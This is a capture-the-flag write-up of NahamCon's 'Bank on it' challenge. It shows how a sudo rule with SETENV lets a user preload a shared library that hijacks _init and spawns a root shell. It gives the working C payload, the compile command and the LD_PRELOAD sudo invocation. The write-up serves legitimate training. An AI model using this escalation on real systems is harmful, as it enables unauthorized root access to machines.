To log into the box use the ssh keys found here

I had a lot of fun doing the NahamConCTF, thanks everyone who was involved. This is a small writeup for the Bank on it challenge.

Summary:
The current user can execute the /opt/banking/bank binary using sudo, however the SETENV option is enabled, which helps persist environment variables when using sudo since it starts a session, with that we can use LD_PRELOAD to load a malicious function and get a shell as root.

Credit to: https://sumit-ghosh.com/articles/hijacking-library-functions-code-injection-ld-preload/

Find out if the user can run anything as root we can use sudo -l , it appears that they can run the /op/banking/bank binary as root, with no password, we also see the SETENV which will come in handy later.

$ sudo -l
Matching Defaults entries for gus on banking-on-it-88199b44846b0f72-65bbbf7d6c-82b95:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User gus may run the following commands on banking-on-it-88199b44846b0f72-65bbbf7d6c-82b95:
    (root) SETENV: NOPASSWD: /opt/banking/bank

SETENV is dangerous, it allows us to persist environment variables when using sudo.

Since SETENV is specified in the sudoers file we can use this to load an environment variable that will allow us to hijack where shared libraries are used first - and although we could hijack one of the functions being used directly in the binary to make sure this works we'll be hijacking the _init function, more info here.

#include <unistd.h>

void _init() {
    char *argv[] = {"/bin/sh", 0};
    execve(argv[0], &argv[0], NULL);
}

We'll name this shlib.c and now compile it like

gcc -shared -fpic -nostartfiles shlib.c -o [shlib.so](http://shlib.so)

You should now have a [shlib.so](http://shlib.so) file which we'll be using to hijack the _init function in the binary.

Now let's use LD_PRELOAD

• The LD_PRELOAD trick exploits functionality provided by the dynamic linker on Unix systems that allows you to tell the linker to bind symbols provided by a certain shared library before other libraries.

  http://www.goldsborough.me/c/low-level/kernel/2016/08/29/16-48-53-the_-ld_preload-_trick/

• If you set LD_PRELOAD to the path of a shared object, that file will be loaded before any other library (including the C runtime, libc.so).

  https://stackoverflow.com/questions/426230/what-is-the-ld-preload-trick

Let's execute the binary like this:

sudo LD_PRELOAD=/home/gus/shlib.so /opt/banking/bank

And we are now root!